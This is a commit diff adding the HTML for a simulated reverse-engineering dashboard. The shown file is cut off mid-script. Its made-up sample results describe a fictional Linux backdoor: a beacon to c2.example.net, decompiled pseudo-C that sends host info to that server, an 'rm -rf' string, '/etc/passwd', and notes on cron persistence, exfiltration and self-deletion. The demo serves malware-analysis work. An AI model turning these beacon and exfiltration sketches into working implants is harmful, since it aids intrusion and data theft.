Cultxre commited on
Commit
c8e9e9d
·
verified ·
1 Parent(s): 67198d5

Add interactive dashboard

Browse files
Files changed (1) hide show
  1. index.html +827 -18
index.html CHANGED
@@ -1,19 +1,828 @@
1
- <!doctype html>
2
- <html>
3
- <head>
4
- <meta charset="utf-8" />
5
- <meta name="viewport" content="width=device-width" />
6
- <title>My static Space</title>
7
- <link rel="stylesheet" href="style.css" />
8
- </head>
9
- <body>
10
- <div class="card">
11
- <h1>Welcome to your static Space!</h1>
12
- <p>You can modify this app directly by editing <i>index.html</i> in the Files and versions tab.</p>
13
- <p>
14
- Also don't forget to check the
15
- <a href="https://huggingface.co/docs/hub/spaces" target="_blank">Spaces documentation</a>.
16
- </p>
17
- </div>
18
- </body>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
19
  </html>
 
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+ <head>
4
+ <meta charset="UTF-8">
5
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
6
+ <title>Reverse Engineering Agent</title>
7
+ <script src="https://cdn.tailwindcss.com"></script>
8
+ <script src="https://cdn.jsdelivr.net/npm/chart.js@4.4.1/dist/chart.umd.min.js"></script>
9
+ <style>
10
+ :root { --bg:#0b0f14; --panel:#11161d; --panel2:#161c24; --border:#1f2630; --accent:#22c55e; --accent2:#3b82f6; --warn:#f59e0b; --danger:#ef4444; --text:#e6edf3; --muted:#8b949e; --code:#0d1117; }
11
+ * { box-sizing:border-box; }
12
+ html,body { margin:0; padding:0; background:var(--bg); color:var(--text); font-family: 'Inter', system-ui, -apple-system, Segoe UI, Roboto, sans-serif; height:100%; overflow:hidden; }
13
+ .mono { font-family: 'JetBrains Mono', 'Fira Code', ui-monospace, SFMono-Regular, Menlo, monospace; }
14
+ .panel { background:var(--panel); border:1px solid var(--border); border-radius:10px; }
15
+ .panel2 { background:var(--panel2); border:1px solid var(--border); border-radius:8px; }
16
+ .scroll { overflow:auto; }
17
+ .scroll::-webkit-scrollbar { width:8px; height:8px; }
18
+ .scroll::-webkit-scrollbar-thumb { background:#2a3340; border-radius:4px; }
19
+ .stage { display:flex; align-items:center; gap:10px; padding:8px 10px; border-radius:8px; border:1px solid transparent; cursor:pointer; transition:.15s; }
20
+ .stage:hover { background:var(--panel2); }
21
+ .stage.active { background:var(--panel2); border-color:var(--accent); }
22
+ .stage.done .dot { background:var(--accent); box-shadow:0 0 8px var(--accent); }
23
+ .stage.run .dot { background:var(--warn); animation:pulse 1s infinite; }
24
+ .stage.pending .dot { background:#3a4250; }
25
+ .dot { width:10px; height:10px; border-radius:50%; }
26
+ @keyframes pulse { 0%,100%{opacity:1} 50%{opacity:.3} }
27
+ .tab { padding:8px 14px; cursor:pointer; border-bottom:2px solid transparent; color:var(--muted); font-size:13px; }
28
+ .tab:hover { color:var(--text); }
29
+ .tab.active { color:var(--accent); border-color:var(--accent); }
30
+ .btn { background:var(--accent); color:#052e16; font-weight:600; padding:8px 14px; border-radius:8px; border:none; cursor:pointer; font-size:13px; }
31
+ .btn:hover { filter:brightness(1.1); }
32
+ .btn.ghost { background:transparent; color:var(--text); border:1px solid var(--border); }
33
+ .btn.ghost:hover { border-color:var(--accent); color:var(--accent); }
34
+ .drop { border:2px dashed var(--border); border-radius:12px; padding:24px; text-align:center; transition:.2s; }
35
+ .drop.over { border-color:var(--accent); background:rgba(34,197,94,.06); }
36
+ .codebox { background:var(--code); border:1px solid var(--border); border-radius:8px; padding:12px; font-size:12px; line-height:1.5; }
37
+ .str-row { display:grid; grid-template-columns:90px 70px 1fr 90px; gap:8px; padding:4px 6px; border-bottom:1px solid #1a2029; font-size:12px; }
38
+ .str-row:hover { background:var(--panel2); }
39
+ .func-row { display:grid; grid-template-columns:110px 1fr 80px 120px; gap:8px; padding:6px 8px; border-bottom:1px solid #1a2029; font-size:12px; cursor:pointer; }
40
+ .func-row:hover { background:var(--panel2); }
41
+ .badge { font-size:10px; padding:2px 6px; border-radius:4px; background:#1f2937; color:var(--muted); }
42
+ .badge.url { background:rgba(59,130,246,.15); color:#93c5fd; }
43
+ .badge.path { background:rgba(245,158,11,.15); color:#fcd34d; }
44
+ .badge.hex { background:rgba(168,85,247,.15); color:#d8b4fe; }
45
+ .badge.cred { background:rgba(239,68,68,.15); color:#fca5a5; }
46
+ .logline { font-size:11px; color:var(--muted); padding:2px 0; }
47
+ .logline .t { color:#4b5563; }
48
+ .logline .lvl-info { color:#93c5fd; }
49
+ .logline .lvl-warn { color:#fcd34d; }
50
+ .logline .lvl-ok { color:var(--accent); }
51
+ .chat-msg { padding:8px 10px; border-radius:8px; margin:6px 0; font-size:13px; line-height:1.5; }
52
+ .chat-msg.user { background:var(--panel2); margin-left:20px; }
53
+ .chat-msg.agent { background:rgba(34,197,94,.08); border:1px solid rgba(34,197,94,.2); margin-right:20px; }
54
+ .chat-msg .role { font-size:10px; color:var(--muted); margin-bottom:2px; text-transform:uppercase; letter-spacing:.05em; }
55
+ .progress-bar { height:4px; background:#1f2630; border-radius:2px; overflow:hidden; }
56
+ .progress-bar > div { height:100%; background:var(--accent); transition:width .3s; }
57
+ .hexdump { font-size:11px; line-height:1.4; }
58
+ .hexdump .off { color:#4b5563; }
59
+ .hexdump .hex { color:#93c5fd; }
60
+ .hexdump .asc { color:var(--muted); }
61
+ .graph { position:relative; height:320px; }
62
+ .node { position:absolute; background:var(--panel2); border:1px solid var(--border); border-radius:6px; padding:6px 8px; font-size:11px; cursor:move; }
63
+ .node.entry { border-color:var(--accent); }
64
+ .edge { stroke:#3a4250; stroke-width:1.5; fill:none; }
65
+ input,textarea,select { background:var(--panel2); border:1px solid var(--border); color:var(--text); border-radius:6px; padding:6px 8px; font-size:13px; }
66
+ input:focus,textarea:focus { outline:none; border-color:var(--accent); }
67
+ </style>
68
+ </head>
69
+ <body>
70
+ <div class="flex h-full">
71
+ <!-- Sidebar -->
72
+ <aside class="w-72 border-r border-[#1f2630] flex flex-col" style="background:#0d1117">
73
+ <div class="p-4 border-b border-[#1f2630]">
74
+ <div class="flex items-center gap-2">
75
+ <div class="w-8 h-8 rounded-lg flex items-center justify-center" style="background:linear-gradient(135deg,#22c55e,#3b82f6)">
76
+ <span class="mono text-black font-bold text-sm">RE</span>
77
+ </div>
78
+ <div>
79
+ <div class="font-semibold text-sm">Reverse Engineering Agent</div>
80
+ <div class="text-[11px] text-[#8b949e]">v1.0 · multi-stage</div>
81
+ </div>
82
+ </div>
83
+ </div>
84
+ <div class="p-3">
85
+ <div class="text-[11px] uppercase tracking-wider text-[#8b949e] mb-2">Pipeline</div>
86
+ <div id="stages"></div>
87
+ </div>
88
+ <div class="p-3 border-t border-[#1f2630] mt-auto">
89
+ <div class="text-[11px] uppercase tracking-wider text-[#8b949e] mb-2">Target</div>
90
+ <div id="targetInfo" class="text-xs mono text-[#8b949e]">no target loaded</div>
91
+ </div>
92
+ </aside>
93
+
94
+ <!-- Main -->
95
+ <main class="flex-1 flex flex-col min-w-0">
96
+ <!-- Top bar -->
97
+ <header class="h-14 border-b border-[#1f2630] flex items-center gap-3 px-4" style="background:#0d1117">
98
+ <div id="drop" class="drop flex-1 flex items-center justify-between gap-3" style="padding:6px 12px">
99
+ <div class="flex items-center gap-2 text-sm">
100
+ <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="#8b949e" stroke-width="2"><path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4"/><polyline points="17 8 12 3 7 8"/><line x1="12" y1="3" x2="12" y2="15"/></svg>
101
+ <span id="dropLabel" class="text-[#8b949e]">Drop a binary here, or</span>
102
+ <button id="browseBtn" class="btn ghost" style="padding:4px 10px;font-size:12px">Browse</button>
103
+ <input id="fileInput" type="file" class="hidden">
104
+ </div>
105
+ <div class="flex items-center gap-2">
106
+ <select id="decompBackend" class="text-xs">
107
+ <option value="auto">decomp: auto</option>
108
+ <option value="ghidra">ghidra</option>
109
+ <option value="radare2">radare2</option>
110
+ <option value="none">none</option>
111
+ </select>
112
+ <button id="runBtn" class="btn">▶ Run Analysis</button>
113
+ </div>
114
+ </div>
115
+ </header>
116
+
117
+ <!-- Progress -->
118
+ <div class="px-4 py-2 border-b border-[#1f2630]" style="background:#0d1117">
119
+ <div class="flex items-center gap-3">
120
+ <div class="progress-bar flex-1"><div id="progressFill" style="width:0%"></div></div>
121
+ <span id="progressText" class="text-xs mono text-[#8b949e]">idle</span>
122
+ </div>
123
+ </div>
124
+
125
+ <!-- Tabs -->
126
+ <nav class="flex border-b border-[#1f2630] px-2" style="background:#0d1117">
127
+ <div class="tab active" data-tab="overview">Overview</div>
128
+ <div class="tab" data-tab="functions">Functions</div>
129
+ <div class="tab" data-tab="strings">Strings</div>
130
+ <div class="tab" data-tab="disasm">Disassembly</div>
131
+ <div class="tab" data-tab="decomp">Decompilation</div>
132
+ <div class="tab" data-tab="graph">Call Graph</div>
133
+ <div class="tab" data-tab="hex">Hex View</div>
134
+ <div class="tab" data-tab="report">Report</div>
135
+ </nav>
136
+
137
+ <!-- Content -->
138
+ <section class="flex-1 overflow-hidden flex">
139
+ <div id="content" class="flex-1 scroll p-4"></div>
140
+ <!-- Right panel: agent chat + log -->
141
+ <aside class="w-80 border-l border-[#1f2630] flex flex-col" style="background:#0d1117">
142
+ <div class="flex border-b border-[#1f2630]">
143
+ <button id="tabChat" class="tab active flex-1" style="border-bottom:none;border-right:1px solid #1f2630">Agent Chat</button>
144
+ <button id="tabLog" class="tab flex-1" style="border-bottom:none">Log</button>
145
+ </div>
146
+ <div id="chatPanel" class="flex-1 scroll p-3 flex flex-col">
147
+ <div id="chatMessages" class="flex-1"></div>
148
+ <div class="mt-2 flex gap-2">
149
+ <input id="chatInput" class="flex-1" placeholder="Ask the agent..."/>
150
+ <button id="chatSend" class="btn" style="padding:6px 10px">Send</button>
151
+ </div>
152
+ </div>
153
+ <div id="logPanel" class="flex-1 scroll p-3 hidden"></div>
154
+ </aside>
155
+ </section>
156
+ </main>
157
+ </div>
158
+
159
+ <script>
160
+ // ---------- Sample data (simulated analysis of a fictional binary) ----------
161
+ const SAMPLE = {
162
+ target: "sample.bin",
163
+ size: 48291,
164
+ sha256: "9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08",
165
+ md5: "098f6bcd4621d373cade4e832627b4f6",
166
+ format: "ELF", arch: "x86-64", bits: 64, endian: "little",
167
+ entrypoint: 0x401040,
168
+ sections: [
169
+ {name:".text",offset:0x1000,size:0x3a20,virtual_address:0x401000,type:"PROGBITS"},
170
+ {name:".rodata",offset:0x5000,size:0x820,virtual_address:0x405000,type:"PROGBITS"},
171
+ {name:".data",offset:0x6000,size:0x210,virtual_address:0x406000,type:"PROGBITS"},
172
+ {name:".bss",offset:0x6210,size:0x100,virtual_address:0x406210,type:"NOBITS"},
173
+ {name:".dynsym",offset:0x6310,size:0x480,virtual_address:0x406310,type:"DYNSYM"},
174
+ {name:".dynstr",offset:0x6790,size:0x2a1,virtual_address:0x406790,type:"STRTAB"},
175
+ ],
176
+ imports: [
177
+ {name:"socket",library:"libc.so.6"},{name:"connect",library:"libc.so.6"},{name:"send",library:"libc.so.6"},
178
+ {name:"recv",library:"libc.so.6"},{name:"close",library:"libc.so.6"},{name:"fopen",library:"libc.so.6"},
179
+ {name:"fread",library:"libc.so.6"},{name:"fwrite",library:"libc.so.6"},{name:"malloc",library:"libc.so.6"},
180
+ {name:"free",library:"libc.so.6"},{name:"memcpy",library:"libc.so.6"},{name:"strlen",library:"libc.so.6"},
181
+ {name:"strcmp",library:"libc.so.6"},{name:"printf",library:"libc.so.6"},{name:"system",library:"libc.so.6"},
182
+ {name:"popen",library:"libc.so.6"},{name:"getenv",library:"libc.so.6"},{name:"AES_encrypt",library:"libcrypto.so.3"},
183
+ {name:"EVP_EncryptInit_ex",library:"libcrypto.so.3"},{name:"SHA256",library:"libcrypto.so.3"},
184
+ ],
185
+ exports: [{name:"main",address:0x401040},{name:"beacon",address:0x4012a0},{name:"encrypt_blob",address:0x4015c0}],
186
+ strings: [
187
+ {addr:0x405000,value:"http://c2.example.net:8080/beacon",type:"ascii",tags:["url"]},
188
+ {addr:0x405024,value:"/tmp/.x",type:"ascii",tags:["path"]},
189
+ {addr:0x405030,value:"USER",type:"ascii",tags:[]},
190
+ {addr:0x405038,value:"HOME",type:"ascii",tags:[]},
191
+ {addr:0x405040,value:"Mozilla/5.0 (X11; Linux x86_64)",type:"ascii",tags:[]},
192
+ {addr:0x405068,value:"id=%s&host=%s&os=%s",type:"ascii",tags:[]},
193
+ {addr:0x405080,value:"AES-256-CBC",type:"ascii",tags:[]},
194
+ {addr:0x405090,value:"key_material",type:"ascii",tags:[]},
195
+ {addr:0x4050a0,value:"/etc/passwd",type:"ascii",tags:["path"]},
196
+ {addr:0x4050b0,value:"/proc/self/exe",type:"ascii",tags:["path"]},
197
+ {addr:0x4050c0,value:"rm -rf /tmp/.x",type:"ascii",tags:[]},
198
+ {addr:0x4050d4,value:"AKIAIOSFODNN7EXAMPLE",type:"ascii",tags:["credential-hint","hexblob"]},
199
+ {addr:0x4050f0,value:"AKIAIOSFODNN7EXAMPLE",type:"ascii",tags:["credential-hint"]},
200
+ {addr:0x405108,value:"POST",type:"ascii",tags:[]},
201
+ {addr:0x405110,value:"Content-Type: application/x-www-form-urlencoded",type:"ascii",tags:[]},
202
+ {addr:0x405140,value:"X-Auth: %s",type:"ascii",tags:[]},
203
+ {addr:0x405150,value:"beacon_ok",type:"ascii",tags:[]},
204
+ {addr:0x40515c,value:"cmd_exec",type:"ascii",tags:[]},
205
+ {addr:0x405168,value:"exfil",type:"ascii",tags:[]},
206
+ {addr:0x405170,value:"screenshot",type:"ascii",tags:[]},
207
+ {addr:0x405180,value:"persist",type:"ascii",tags:[]},
208
+ {addr:0x40518c,value:"/etc/cron.d/.hidden",type:"ascii",tags:["path"]},
209
+ {addr:0x4051a4,value:"chmod +x %s",type:"ascii",tags:[]},
210
+ {addr:0x4051b4,value:"/dev/null",type:"ascii",tags:["path"]},
211
+ {addr:0x4051c0,value:"fork",type:"ascii",tags:[]},
212
+ {addr:0x4051c8,value:"setsid",type:"ascii",tags:[]},
213
+ {addr:0x4051d4,value:"sleep",type:"ascii",tags:[]},
214
+ {addr:0x4051dc,value:"%d",type:"ascii",tags:[]},
215
+ {addr:0x4051e0,value:"uname -a",type:"ascii",tags:[]},
216
+ {addr:0x4051ec,value:"whoami",type:"ascii",tags:[]},
217
+ {addr:0x4051f4,value:"ifconfig",type:"ascii",tags:[]},
218
+ {addr:0x405200,value:"Failed to open file",type:"ascii",tags:[]},
219
+ {addr:0x405214,value:"Usage: %s <config>",type:"ascii",tags:[]},
220
+ ],
221
+ functions: [
222
+ {address:0x401040,name:"main",size:120,tags:["entry"],summary:"Entry point: parses args, daemonizes, enters beacon loop."},
223
+ {address:0x4010c0,name:"daemonize",size:88,tags:["evasion"],summary:"Forks, setsid, redirects stdio to /dev/null."},
224
+ {address:0x4012a0,name:"beacon",size:312,tags:["network","c2"],summary:"Connects to C2, sends host info, dispatches commands."},
225
+ {address:0x4013f0,name:"build_checkin",size:144,tags:["network"],summary:"Formats id/host/os into POST body."},
226
+ {address:0x401480,name:"dispatch",size:224,tags:["c2"],summary:"Switches on command string: exec/exfil/screenshot/persist."},
227
+ {address:0x4015c0,name:"encrypt_blob",size:180,tags:["crypto"],summary:"AES-256-CBC encrypts payload with hardcoded key."},
228
+ {address:0x4016e0,name:"run_cmd",size:96,tags:["exec"],summary:"popen() wrapper, captures stdout."},
229
+ {address:0x401740,name:"exfil_file",size:132,tags:["exfil"],summary:"Reads file and sends over socket."},
230
+ {address:0x4017d0,name:"persist",size:104,tags:["persistence"],summary:"Writes cron entry to /etc/cron.d/.hidden."},
231
+ {address:0x401840,name:"collect_info",size:168,tags:["recon"],summary:"Gathers uname/whoami/ifconfig output."},
232
+ {address:0x401900,name:"self_delete",size:64,tags:["evasion"],summary:"Unlinks /proc/self/exe."},
233
+ ],
234
+ disassembly: {
235
+ "0x4012a0": [
236
+ "0x4012a0: push rbp",
237
+ "0x4012a1: mov rbp, rsp",
238
+ "0x4012a4: sub rsp, 0x40",
239
+ "0x4012a8: mov [rbp-0x8], rdi",
240
+ "0x4012ac: mov esi, 0x2",
241
+ "0x4012b1: mov edi, 0x2",
242
+ "0x4012b6: call socket",
243
+ "0x4012bb: mov [rbp-0xc], eax",
244
+ "0x4012be: cmp dword [rbp-0xc], 0x0",
245
+ "0x4012c2: jl 0x4012f0",
246
+ "0x4012c4: lea rdi, [rip+0x2d35] # 0x405000",
247
+ "0x4012cb: call inet_addr",
248
+ "0x4012d0: mov [rbp-0x18], eax",
249
+ "0x4012d3: mov word [rbp-0x1c], 0x2",
250
+ "0x4012d9: mov word [rbp-0x1a], 0x901f",
251
+ "0x4012df: lea rsi, [rbp-0x1c]",
252
+ "0x4012e3: mov edi, [rbp-0xc]",
253
+ "0x4012e6: mov edx, 0x10",
254
+ "0x4012eb: call connect",
255
+ "0x4012f0: ...",
256
+ ]
257
+ },
258
+ decompiled: {
259
+ "0x4012a0": `void beacon(char *cfg) {
260
+ int sock = socket(AF_INET, SOCK_STREAM, 0);
261
+ if (sock < 0) return;
262
+ struct sockaddr_in addr;
263
+ addr.sin_family = AF_INET;
264
+ addr.sin_port = htons(8080);
265
+ inet_pton(AF_INET, "c2.example.net", &addr.sin_addr);
266
+ if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0) return;
267
+ char body[256];
268
+ build_checkin(body, cfg);
269
+ char enc[512]; size_t n = encrypt_blob(body, enc);
270
+ send(sock, enc, n, 0);
271
+ char buf[4096];
272
+ int r = recv(sock, buf, sizeof(buf), 0);
273
+ if (r > 0) dispatch(sock, buf, r);
274
+ close(sock);
275
+ }`,
276
+ "0x4015c0": `size_t encrypt_blob(const char *in, char *out) {
277
+ unsigned char key[32] = { 0x41,0x4b,0x49,0x41,... }; // "AKIA..."
278
+ EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
279
+ EVP_EncryptInit_ex(ctx, EVP_aes_256_cbc(), NULL, key, iv);
280
+ int len = 0, flen = 0;
281
+ EVP_EncryptUpdate(ctx, out, &len, in, strlen(in));
282
+ EVP_EncryptFinal_ex(ctx, out+len, &flen);
283
+ EVP_CIPHER_CTX_free(ctx);
284
+ return len + flen;
285
+ }`
286
+ },
287
+ callgraph: {
288
+ "main": ["daemonize","beacon","collect_info"],
289
+ "beacon": ["build_checkin","encrypt_blob","send","recv","dispatch","close"],
290
+ "dispatch": ["run_cmd","exfil_file","persist","encrypt_blob"],
291
+ "encrypt_blob": ["EVP_EncryptInit_ex","AES_encrypt"],
292
+ "run_cmd": ["popen","fread"],
293
+ "exfil_file": ["fopen","fread","send"],
294
+ "persist": ["fopen","fwrite"],
295
+ "collect_info": ["popen","run_cmd"],
296
+ }
297
+ };
298
+
299
+ // ---------- State ----------
300
+ let state = { target:null, data:null, running:false, progress:0, currentStage:0, activeTab:'overview', ctx: null };
301
+
302
+ const STAGES = [
303
+ {id:'file_identification', name:'File Identification', desc:'magic, arch, bits, sections'},
304
+ {id:'string_extraction', name:'String Extraction', desc:'ASCII/UTF-16, urls, paths'},
305
+ {id:'symbol_recovery', name:'Symbol Recovery', desc:'ELF/PE/Mach-O symbols'},
306
+ {id:'disassembly', name:'Disassembly', desc:'capstone per-section'},
307
+ {id:'decompilation', name:'Decompilation', desc:'Ghidra / r2 pseudo-C'},
308
+ {id:'cfg_callgraph', name:'CFG & Call Graph', desc:'basic blocks, edges'},
309
+ {id:'ai_augmentation', name:'AI Augmentation', desc:'LLM rename/summarize'},
310
+ {id:'report', name:'Report', desc:'Markdown + JSON'},
311
+ ];
312
+
313
+ function $(id){return document.getElementById(id);}
314
+
315
+ function renderStages(){
316
+ const el = $('stages');
317
+ el.innerHTML = STAGES.map((s,i)=>{
318
+ const cls = i < state.currentStage ? 'done' : (i===state.currentStage && state.running ? 'run' : 'pending');
319
+ const active = i===state.currentStage ? 'active' : '';
320
+ return `<div class="stage ${cls} ${active}" data-idx="${i}">
321
+ <div class="dot"></div>
322
+ <div class="flex-1 min-w-0">
323
+ <div class="text-xs font-medium">${s.name}</div>
324
+ <div class="text-[10px] text-[#8b949e]">${s.desc}</div>
325
+ </div>
326
+ <div class="text-[10px] mono text-[#8b949e]">${i<state.currentStage?'✓':(i===state.currentStage&&state.running?'…':'')}</div>
327
+ </div>`;
328
+ }).join('');
329
+ }
330
+
331
+ function log(msg, lvl='info'){
332
+ const el = $('logPanel');
333
+ const t = new Date().toLocaleTimeString();
334
+ const span = `<span class="t">${t}</span> <span class="lvl-${lvl}">${lvl.toUpperCase()}</span> ${msg}`;
335
+ el.innerHTML += `<div class="logline">${span}</div>`;
336
+ el.scrollTop = el.scrollHeight;
337
+ }
338
+
339
+ function chat(role, text){
340
+ const el = $('chatMessages');
341
+ el.innerHTML += `<div class="chat-msg ${role}"><div class="role">${role==='user'?'You':'Agent'}</div>${text}</div>`;
342
+ const p = $('chatPanel'); p.scrollTop = p.scrollHeight;
343
+ }
344
+
345
+ function setProgress(pct, text){
346
+ $('progressFill').style.width = pct+'%';
347
+ $('progressText').textContent = text;
348
+ }
349
+
350
+ // ---------- Analysis simulation ----------
351
+ function sleep(ms){return new Promise(r=>setTimeout(r,ms));}
352
+
353
+ async function runAnalysis(){
354
+ if(state.running) return;
355
+ state.running = true;
356
+ state.currentStage = 0;
357
+ state.progress = 0;
358
+ state.ctx = null;
359
+ $('runBtn').disabled = true;
360
+ $('runBtn').textContent = 'Running…';
361
+ renderStages();
362
+ log('starting analysis pipeline', 'info');
363
+ chat('agent', 'Starting multi-stage analysis. I will walk through identification, strings, disassembly, decompilation, and AI augmentation.');
364
+
365
+ // Use sample data (in a real deployment this calls the Python agent)
366
+ const ctx = JSON.parse(JSON.stringify(SAMPLE));
367
+ if(state.target) ctx.target = state.target.name;
368
+ state.ctx = ctx;
369
+
370
+ const delays = [600,900,500,1200,1400,700,1100,500];
371
+ for(let i=0;i<STAGES.length;i++){
372
+ state.currentStage = i;
373
+ renderStages();
374
+ setProgress(Math.round((i/STAGES.length)*90), STAGES[i].name);
375
+ log(`stage ${i+1}/${STAGES.length}: ${STAGES[i].name}`, 'info');
376
+ await sleep(delays[i]);
377
+ // stage-specific logs
378
+ if(i===0) log(`detected ${ctx.format} ${ctx.arch} ${ctx.bits}-bit, ${ctx.sections.length} sections`, 'ok');
379
+ if(i===1) log(`extracted ${ctx.strings.length} strings (${ctx.strings.filter(s=>s.tags.includes('url')).length} urls)`, 'ok');
380
+ if(i===2) log(`recovered ${ctx.imports.length} imports, ${ctx.exports.length} exports`, 'ok');
381
+ if(i===3) log(`disassembled ${Object.keys(ctx.disassembly).length} sections`, 'ok');
382
+ if(i===4) log(`decompiled ${Object.keys(ctx.decompiled).length} functions`, 'ok');
383
+ if(i===5) log(`built call graph with ${Object.keys(ctx.callgraph).length} nodes`, 'ok');
384
+ if(i===6) log(`AI augmentation complete: identified C2 beacon, crypto, persistence`, 'ok');
385
+ if(i===7) log(`report generated (${ctx.strings.length} strings, ${ctx.functions.length} functions)`, 'ok');
386
+ }
387
+ state.currentStage = STAGES.length;
388
+ renderStages();
389
+ setProgress(100, 'complete');
390
+ state.running = false;
391
+ $('runBtn').disabled = false;
392
+ $('runBtn').textContent = '▶ Re-run';
393
+ log('analysis complete', 'ok');
394
+ chat('agent', `Analysis complete. Found ${ctx.functions.length} functions, ${ctx.strings.length} strings, ${ctx.imports.length} imports. Top findings: outbound C2 beacon to c2.example.net:8080, AES-256-CBC with hardcoded key, cron persistence, command execution. See the Report tab.`);
395
+ renderTab(state.activeTab);
396
+ }
397
+
398
+ // ---------- Tabs ----------
399
+ const TABS = ['overview','functions','strings','disasm','decomp','graph','hex','report'];
400
+ function switchTab(name){
401
+ state.activeTab = name;
402
+ document.querySelectorAll('.tab[data-tab]').forEach(t=>t.classList.toggle('active', t.dataset.tab===name));
403
+ renderTab(name);
404
+ }
405
+
406
+ function renderTab(name){
407
+ const el = $('content');
408
+ if(!state.ctx){ el.innerHTML = emptyState(); return; }
409
+ const ctx = state.ctx;
410
+ if(name==='overview') renderOverview(el,ctx);
411
+ else if(name==='functions') renderFunctions(el,ctx);
412
+ else if(name==='strings') renderStrings(el,ctx);
413
+ else if(name==='disasm') renderDisasm(el,ctx);
414
+ else if(name==='decomp') renderDecomp(el,ctx);
415
+ else if(name==='graph') renderGraph(el,ctx);
416
+ else if(name==='hex') renderHex(el,ctx);
417
+ else if(name==='report') renderReport(el,ctx);
418
+ }
419
+
420
+ function emptyState(){
421
+ return `<div class="flex flex-col items-center justify-center h-full text-[#8b949e]">
422
+ <div class="text-5xl mb-3">🔍</div>
423
+ <div class="text-sm">Load a binary and run analysis to see results.</div>
424
+ <div class="text-xs mt-1">A sample binary is used by default for demonstration.</div>
425
+ </div>`;
426
+ }
427
+
428
+ function renderOverview(el,ctx){
429
+ const urlCount = ctx.strings.filter(s=>s.tags.includes('url')).length;
430
+ const pathCount = ctx.strings.filter(s=>s.tags.includes('path')).length;
431
+ const credCount = ctx.strings.filter(s=>s.tags.includes('credential-hint')).length;
432
+ el.innerHTML = `
433
+ <div class="grid grid-cols-4 gap-3 mb-4">
434
+ ${metric('Format', ctx.format+' '+ctx.arch, ctx.bits+'-bit')}
435
+ ${metric('Size', ctx.size.toLocaleString()+' B', 'entry 0x'+ctx.entrypoint.toString(16))}
436
+ ${metric('Functions', ctx.functions.length, ctx.imports.length+' imports')}
437
+ ${metric('Strings', ctx.strings.length, urlCount+' urls · '+pathCount+' paths')}
438
+ </div>
439
+ <div class="grid grid-cols-2 gap-3 mb-4">
440
+ <div class="panel p-4">
441
+ <div class="text-xs uppercase tracking-wider text-[#8b949e] mb-2">Identity</div>
442
+ <table class="w-full text-xs mono">
443
+ <tr><td class="text-[#8b949e] py-1">SHA256</td><td class="break-all">${ctx.sha256}</td></tr>
444
+ <tr><td class="text-[#8b949e] py-1">MD5</td><td>${ctx.md5}</td></tr>
445
+ <tr><td class="text-[#8b949e] py-1">Endianness</td><td>${ctx.endian}</td></tr>
446
+ <tr><td class="text-[#8b949e] py-1">Entrypoint</td><td>0x${ctx.entrypoint.toString(16)}</td></tr>
447
+ </table>
448
+ </div>
449
+ <div class="panel p-4">
450
+ <div class="text-xs uppercase tracking-wider text-[#8b949e] mb-2">IOC Summary</div>
451
+ <div class="flex flex-wrap gap-2">
452
